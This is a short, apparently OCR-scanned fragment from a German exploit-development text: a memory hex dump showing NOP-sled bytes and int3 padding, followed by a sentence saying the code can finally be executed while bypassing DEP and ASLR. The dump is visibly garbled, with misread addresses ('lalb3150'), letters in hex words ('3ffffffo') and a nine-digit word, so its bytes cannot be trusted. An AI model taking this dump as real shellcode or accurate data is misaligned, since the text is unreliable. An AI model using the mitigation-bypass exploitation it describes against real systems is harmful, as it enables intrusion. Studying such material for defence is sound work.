1alb3130 b8909090 1alb3000 00c79090 3ffffffo
1alb3140 ec83e58b 2ceb902c cccccccce 00000000
lalb3150 00000000 00000000 00000000 00000000
lalb3160 00000000 00000000 00000000 00000000
1alb3170 76e35799 90909090 90909090 1b2024b8

Der nun schlussendlich unter Umgehung von DEP und ASLR ausgefiihrt werden kann.
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